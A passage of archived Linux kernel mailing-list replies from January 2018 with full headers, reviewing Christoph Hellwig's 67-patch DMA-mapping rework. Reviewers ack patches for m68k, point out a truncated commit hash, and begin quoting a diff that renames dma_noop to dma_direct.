Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 02/67] alpha: mark jensen as broken
Date: Tue, 2 Jan 2018 11:36:00 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <CAMuHMdUXSMuQ=RoZp86CODVk5Ubd3R+jtqOur_Uqnu+7h_m9AA@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-3-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514889248 25452 195.159.176.226 (2 Jan 2018 10:34:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 10:34:08 +0000 (UTC)
Cc: iommu@lists.linux-foundation.org,
        alpha <linux-alpha@vger.kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, Cris <linux-cris-kernel@axis.com>,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        linux-ia64@vger.kernel.org,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390 <linux-s390@vger.kernel.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.or
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 02 11:34:02 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWJtP-0005Q1-Ux
	for glpm-linux-m68k@m.gmane.org; Tue, 02 Jan 2018 11:34:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752614AbeABKgD (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 2 Jan 2018 05:36:03 -0500
Original-Received: from mail-qt0-f194.google.com ([209.85.216.194]:39991 "EHLO
        mail-qt0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752609AbeABKgB (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 2 Jan 2018 05:36:01 -0500
Original-Received: by mail-qt0-f194.google.com with SMTP id u42so62143229qte.7
        for <linux-m68k@lists.linux-m68k.org>; Tue, 02 Jan 2018 02:36:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=FZKEJWEZS/31LsV1MO1SlEiD7JerUxjnXHXxU3c+zE0=;
        b=b6YNXs5hWyAZW/HzE4futFmtHtipwkKDgY8NwO371+EzdwLxXFVfkKvELjB5gzMe+7
         OZj7yz6V35Ronbc3pm4Fm2HwOXOLLPYW8nRXcxMEHOc/iaunjI++xL4Ib5bp4s0/4KUO
         ScbvNaRRRj32kMYDCIWm/U3zRbV7ghZYe8DkocAsPZ0tRJz55CwExLaScATYsYP8++Sd
         pqcFoqnDgPJy/LqcEAdZRw8csvWJy8bl0XawR1TSw6H4z93We4Dchfv/7COwnT7gBMVQ
         2noSCS2T90x2bJKVxO71LbNGNSg/tIxea9V8tu/9Uu00hBzebgymnYdZdGTl6aHmdMpR
         36/g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=FZKEJWEZS/31LsV1MO1SlEiD7JerUxjnXHXxU3c+zE0=;
        b=my2UMxYBXRYq7aPNMTWcVjiMgY64TpFXwrvp58SsttxtG/RrM6HgQdMeLFBUgUXePR
         NowJrsa7vXAHLoIc5MjtuyL+ImlIxK306tKfTipLp8N3meC+/naBOf3tKUhNelwV0Tpg
         Kqt+qpqyXOYB24//yPMQe8iKYv9y7rKie0AUXRBr9CKsyvYtNOBEA9c55nymD2VKh+P7
         AYACz9fRH57d/4IOKzG6SBE7RD9oS7tA/uVl1LOhCKIt7qBeiplOyp4wyU943ZRpNa4p
         NkPrSQBLCGHhny37Vj4bqz9UWUERkjRVFW92YmQhJUb65cJssPUk+ihFv10o2UD1F26O
         1AMQ==
X-Gm-Message-State: AKGB3mKowRVo7NqU4tiy/h635SoZz0oWXVenSwva2tBgkSzYdmI1lW3k
        C6ZUJTIxrj2q76y05s0WwGwOaudqMJXozsNFWLw=
X-Google-Smtp-Source: ACJfBovcIUN9JgphyNR92a0KF4abMQTD1ZrolNMfuoz71Mt5pfj7m3gPBn+YaegCIBh70auQ6jrZG4kutsKFZMOoezU=
X-Received: by 10.237.39.155 with SMTP id a27mr59807084qtd.201.1514889361022;
 Tue, 02 Jan 2018 02:36:01 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Tue, 2 Jan 2018 02:36:00 -0800 (PST)
In-Reply-To: <20171229081911.2802-3-hch@lst.de>
X-Google-Sender-Auth: LtvOVzTrL0jxr1XYjrdfSYbzu7Y
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9827 gmane.linux.kernel.iommu:21953 gmane.linux.ports.alpha:4622 gmane.linux.kernel.arc:3241 gmane.linux.ports.arm.kernel:623222 gmane.linux.ports.hexagon:1472 gmane.linux.ports.ia64:28463 gmane.linux.kernel.metag:1546 gmane.linux.ports.mips.general:63042 gmane.linux.ports.parisc:28140 gmane.linux.ports.ppc64.devel:151589 gmane.linux.ports.sh.devel:56115 gmane.linux.ports.sparc:27128 gmane.linux.kernel.cross-arch:40895 gmane.linux.kernel:2655838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9827>

Hi Christoph,

On Fri, Dec 29, 2017 at 9:18 AM, Christoph Hellwig <hch@lst.de> wrote:
> CONFIG_ALPHA_JENSEN has failed to compile since commit aca05038
> ("alpha/dma: use common noop dma ops"), so mark it as broken.

unknown revision or path not in the working tree.
Ah, you dropped the leading "6":
6aca0503847f6329460b15b3ab2b0e30bb752793
is less than 2 years old, though.

>
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/alpha/Kconfig | 1 +
>  1 file changed, 1 insertion(+)
>
> diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> index b31b974a03cb..e96adcbcab41 100644
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -209,6 +209,7 @@ config ALPHA_EIGER
>
>  config ALPHA_JENSEN
>         bool "Jensen"
> +       depends on BROKEN
>         help
>           DEC PC 150 AXP (aka Jensen): This is a very old Digital system - one
>           of the first-generation Alpha systems. A number of these systems

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 22/67] dma-mapping: clear harmful GFP_* flags in common code
Date: Tue, 2 Jan 2018 11:38:07 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <CAMuHMdX6+E0tN-qxybQ27DoygpUsWngi8J+Fz6K2WZ=FCCuO_A@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-23-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514889375 22052 195.159.176.226 (2 Jan 2018 10:36:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 10:36:15 +0000 (UTC)
Cc: iommu@lists.linux-foundation.org,
        alpha <linux-alpha@vger.kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, Cris <linux-cris-kernel@axis.com>,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        linux-ia64@vger.kernel.org,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390 <linux-s390@vger.kernel.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.or
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 02 11:36:09 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWJvS-00069Q-7k
	for glpm-linux-m68k@m.gmane.org; Tue, 02 Jan 2018 11:36:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752204AbeABKiJ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 2 Jan 2018 05:38:09 -0500
Original-Received: from mail-qk0-f195.google.com ([209.85.220.195]:46004 "EHLO
        mail-qk0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752189AbeABKiI (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 2 Jan 2018 05:38:08 -0500
Original-Received: by mail-qk0-f195.google.com with SMTP id o126so48454239qke.12
        for <linux-m68k@lists.linux-m68k.org>; Tue, 02 Jan 2018 02:38:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=kcGZjOVrx3+3i0d5dYGMeXcfaaIL5yWUZlCAVfcHtXE=;
        b=dkN2XbgQn4hX5pk+3HUsHdW00eaBCWsrGcI7TrxsNt9F0rHsVhaRSDRGN/wRBZk5uH
         n9P1yJOpIVe2/p2VIFBjNJyCfFde1vHjxibo8HPjQXMsThEkhjzWsL97PuFtt4xFKph6
         LuijXeqNnPc0R8AFVODousI9s78N4WYft568nXBRphXQ2yzZ5PTgn06h1yTPoFgBESxW
         HVuyzEQsF2xxMBQfsj57jBlItI3pSJRUeK4dJzx3YoRM7xkHaL70Hbacu9b5BBVnNWO6
         SkKUv9l4TgDgzqEunGxjAj8TGPzoPWtQ9+FwUvPjSvz93FlGrNY6au/1BROEtKN5Ar0O
         YFnw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=kcGZjOVrx3+3i0d5dYGMeXcfaaIL5yWUZlCAVfcHtXE=;
        b=Lq0y3Cke59s33BfDeQWyIzHm7jQUGF1dfxu07LobItXQZgRqg21jItJq2USfhvYID4
         6h/bbvciWWS5TUcMhsKWNUk9aIqHsPazAf28Qq6RhSs891TobeE1Us6pk7q9IYajxHvm
         vrHNrKNwdhL8mo7MmdY9+XnXheH0wluJvEgD2ucXLWxECLkHeT4drB92ELgd2heUOpIj
         eqvUiD8hodF8i8x6DC1Q5IuTkUneWLulkGBoqtQtcSj+7STMAz1pLaa8L8+5Fh9IzJei
         4jnx4CB+YVDsE0PLQHbr3O/WhMMk1mYuDFbP1kCSrc/2oPD++PFfHY4nRtdVZbeE7yau
         fH+w==
X-Gm-Message-State: AKGB3mItbPGQ/KFDon501xOohWFDK9YGlpk9V+mqwmGaTfBiSLnV6aBG
        xOI44GrMEN64ZepPWMIHBp2gFzqAZLoM1+WTc9I=
X-Google-Smtp-Source: ACJfBotGXEAylIb/SpW83cXdigUZ+uPsPbaukenqpu4795leLAl08l3OE6LMVfFZifPMA+o03M2/vb0oslgjMaoYdcA=
X-Received: by 10.55.75.19 with SMTP id y19mr45656139qka.45.1514889487994;
 Tue, 02 Jan 2018 02:38:07 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Tue, 2 Jan 2018 02:38:07 -0800 (PST)
In-Reply-To: <20171229081911.2802-23-hch@lst.de>
X-Google-Sender-Auth: qasid63ZD4Vbm8WOVDE5bXViywk
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9828 gmane.linux.kernel.iommu:21954 gmane.linux.ports.alpha:4623 gmane.linux.kernel.arc:3242 gmane.linux.ports.arm.kernel:623223 gmane.linux.ports.hexagon:1473 gmane.linux.ports.ia64:28464 gmane.linux.kernel.metag:1547 gmane.linux.ports.mips.general:63043 gmane.linux.ports.parisc:28141 gmane.linux.ports.ppc64.devel:151590 gmane.linux.ports.sh.devel:56116 gmane.linux.ports.sparc:27129 gmane.linux.kernel.cross-arch:40896 gmane.linux.kernel:2655839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9828>

On Fri, Dec 29, 2017 at 9:18 AM, Christoph Hellwig <hch@lst.de> wrote:
> Life the code from x86 so that we behave consistently.  In the future we
> should probably warn if any of these is set.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>

For m68k:
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 05/67] dma-mapping: replace PCI_DMA_BUS_IS_PHYS with a
 flag in struct dma_map_ops
Date: Tue, 2 Jan 2018 11:39:49 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <CAMuHMdV2oT9G3yOjx-oaw06nw27zF_Y34quYf--u13xjKs3dJQ@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-6-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514889478 13538 195.159.176.226 (2 Jan 2018 10:37:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 10:37:58 +0000 (UTC)
Cc: iommu@lists.linux-foundation.org,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>,
        linux-c6x-dev@linux-c6x.org,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        patches@groups.riscv.org,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>,
        Parisc
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 02 11:37:52 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWJx6-0000o9-LS
	for glpm-linux-m68k@m.gmane.org; Tue, 02 Jan 2018 11:37:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752290AbeABKjv (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 2 Jan 2018 05:39:51 -0500
Original-Received: from mail-qt0-f194.google.com ([209.85.216.194]:37565 "EHLO
        mail-qt0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752573AbeABKju (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 2 Jan 2018 05:39:50 -0500
Original-Received: by mail-qt0-f194.google.com with SMTP id f2so62180391qtj.4
        for <linux-m68k@lists.linux-m68k.org>; Tue, 02 Jan 2018 02:39:50 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=bofI8PcQCHnmusltUZTV5tVsBokWJosZLHL/vzg7zaA=;
        b=hYj1F23vF5d2IS0dvD822AsVUIAwfM+eWWgHgMD0tdOFKeqPFg46ScRMoGd8JIV/wL
         nu4ItykJpSAJYwAgJP6e+RdT9Cw5iBsqK9tVEa5V6DtO9zUDrIaweWTHB/mpUFV5iVKh
         Brgtq7/+MRT3ORyHD8typT/aFe9GzUF+W5GWz4pRB66+pKT7NKBpV+tDvRDt1pdjZc/w
         l0LyLxpIn4v4tenthA/WfJ1es1ErbLo1dnrDsWauYFGBXZ8DMXsvUjdGEBhuGNhptFni
         M/bYUsqaLwuMk7AoliGopVeP/+ZjYxw1UbFnpQaQenx0sc5muU2waZIqoDRoXXGCo7Ie
         TcEw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=bofI8PcQCHnmusltUZTV5tVsBokWJosZLHL/vzg7zaA=;
        b=Iu+9mwkXQav2lUS5lRNSTCtMvUlESVbF8fccn9yXQdBVlP3313zf03w8Lt4CuKUDRw
         2uexozI2op6HQsd65TMAyA0cQRXrxu+5ByjZRI0eqjhYTaFzzZC9TU9voxDR3GJEByTX
         1x0T2/e7S3Pjcr+v0XPkbWX/8hnZAcw7omTJFGJheNngCGaXCio8NnT4+Rs7MXj+LSdj
         PdhMGtffF8GenSPEWzUUg3pTmmoNkhTTKETPJ302p3Ju2SCcfWRz79oNkc++yqgwLiTQ
         JFDDGiE8gk4k8URfKM2HfqPV8xQovLyPmwW1rLdQoORLNcSiba0VUHuYedcgM8onC3lQ
         14CA==
X-Gm-Message-State: AKGB3mItu8FYFkclV9S5Rm9xAqo0rjMLIiMQftVFIRFh2poJi1OCHf7E
        Umw9NGUW39DCTeoeBDUfiGGLJ5x8/cawpW2JC/I=
X-Google-Smtp-Source: ACJfBosbPf1Yas1w0doWFFPhYv/dxaO8Y5oj6sMJCS/OdhydME461aF/AAOtbRFWi2fribE/19DF5LjoYZJWOLxrkJs=
X-Received: by 10.200.54.20 with SMTP id m20mr58123977qtb.83.1514889590137;
 Tue, 02 Jan 2018 02:39:50 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Tue, 2 Jan 2018 02:39:49 -0800 (PST)
In-Reply-To: <20171229081911.2802-6-hch@lst.de>
X-Google-Sender-Auth: 8eFgU5k_epvRzr9SK7eeV23oz5c
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9829 gmane.linux.kernel.iommu:21955 gmane.linux.ports.mips.general:63044 gmane.linux.ports.ia64:28465 gmane.linux.ports.sh.devel:56117 gmane.linux.ports.sparc:27130 gmane.linux.kernel.cross-arch:40897 gmane.linux.ports.hexagon:1474 gmane.linux.kernel.arc:3243 gmane.linux.kernel.metag:1548 gmane.linux.ports.arm.kernel:623224 gmane.linux.ports.parisc:28142 gmane.linux.kernel:2655840 gmane.linux.ports.alpha:4624 gmane.linux.ports.ppc64.devel:151591
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9829>

On Fri, Dec 29, 2017 at 9:18 AM, Christoph Hellwig <hch@lst.de> wrote:
> The current PCI_DMA_BUS_IS_PHYS decided if a dma implementation is bound
> by the dma mask in the device because it directly maps to a physical
> address range (modulo an offset in the device), or if it is virtualized
> by an iommu and can map any address (that includes virtual iommus like
> swiotlb).  The problem with this scheme is that it is per-architecture and
> not per dma_ops instance, and we are growing more and more setups that
> have multiple different dma operations in use on a single system, for
> which this scheme can't provide a correct answer.  Depending on the
> architecture that means we either get a false positive or false negative
> at the moment.
>
> This patch instead extents the is_phys flag in struct dma_map_ops that
> is currently only used by a few architectures to be used tree wide.
>
> Note that this means that we now need a struct device parent in the
> Scsi_Host or netdevice.  Every modern driver has these, but there might
> still be a few outdated legacy drivers out there, which now won't make
> an intelligent decision.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>

For m68k:
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 25/67] dma-direct: rename dma_noop to dma_direct
Date: Tue, 2 Jan 2018 16:25:59 +0000
Lines: 278
Approved: news@gmane.org
Message-ID: <0f48e84c-a6a8-b200-5f2b-69fd49e79fca@arm.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-26-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514910259 20556 195.159.176.226 (2 Jan 2018 16:24:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 16:24:19 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Jan 02 17:24:13 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eWPMK-0004fo-79
	for glpi-linux-ia64-2@m.gmane.org; Tue, 02 Jan 2018 17:24:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751099AbeABQ0P (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Tue, 2 Jan 2018 11:26:15 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:41698 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751092AbeABQ0N (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Tue, 2 Jan 2018 11:26:13 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id AED7080D;
        Tue,  2 Jan 2018 08:26:12 -0800 (PST)
Original-Received: from [10.1.78.252] (unknown [10.1.78.252])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id A6B6D3F53D;
        Tue,  2 Jan 2018 08:26:08 -0800 (PST)
In-Reply-To: <20171229081911.2802-26-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28467 gmane.linux.kernel.iommu:21959 gmane.linux.ports.mips.general:63074 gmane.linux.ports.sh.devel:56127 gmane.linux.ports.sparc:27133 gmane.linux.kernel.cross-arch:40908 gmane.linux.ports.hexagon:1475 gmane.linux.kernel.arc:3250 gmane.linux.kernel.metag:1549 gmane.linux.ports.arm.kernel:623350 gmane.linux.ports.parisc:28143 gmane.linux.kernel:2656134 gmane.linux.ports.alpha:4625 gmane.linux.ports.ppc64.devel:151595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28467>

On 29/12/17 08:18, Christoph Hellwig wrote:
> The trivial direct mapping implementation already does a virtual to
> physical translation which isn't strictly a noop, and will soon learn
> to do non-direct but linear physical to dma translations through the
> device offset and a few small tricks.  Rename it to a better fitting
> name.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  MAINTAINERS                        |  2 +-
>  arch/arm/Kconfig                   |  2 +-
>  arch/arm/include/asm/dma-mapping.h |  2 +-
>  arch/arm/mm/dma-mapping-nommu.c    |  8 ++++----
>  arch/m32r/Kconfig                  |  2 +-
>  arch/riscv/Kconfig                 |  2 +-
>  arch/s390/Kconfig                  |  2 +-
>  include/asm-generic/dma-mapping.h  |  2 +-
>  include/linux/dma-mapping.h        |  2 +-
>  lib/Kconfig                        |  2 +-
>  lib/Makefile                       |  2 +-
>  lib/{dma-noop.c => dma-direct.c}   | 35 +++++++++++++++--------------------
>  12 files changed, 29 insertions(+), 34 deletions(-)
>  rename lib/{dma-noop.c => dma-direct.c} (53%)
> 
> diff --git a/MAINTAINERS b/MAINTAINERS
> index a8b35d9f41b2..b4005fe06e4c 100644
> --- a/MAINTAINERS
> +++ b/MAINTAINERS
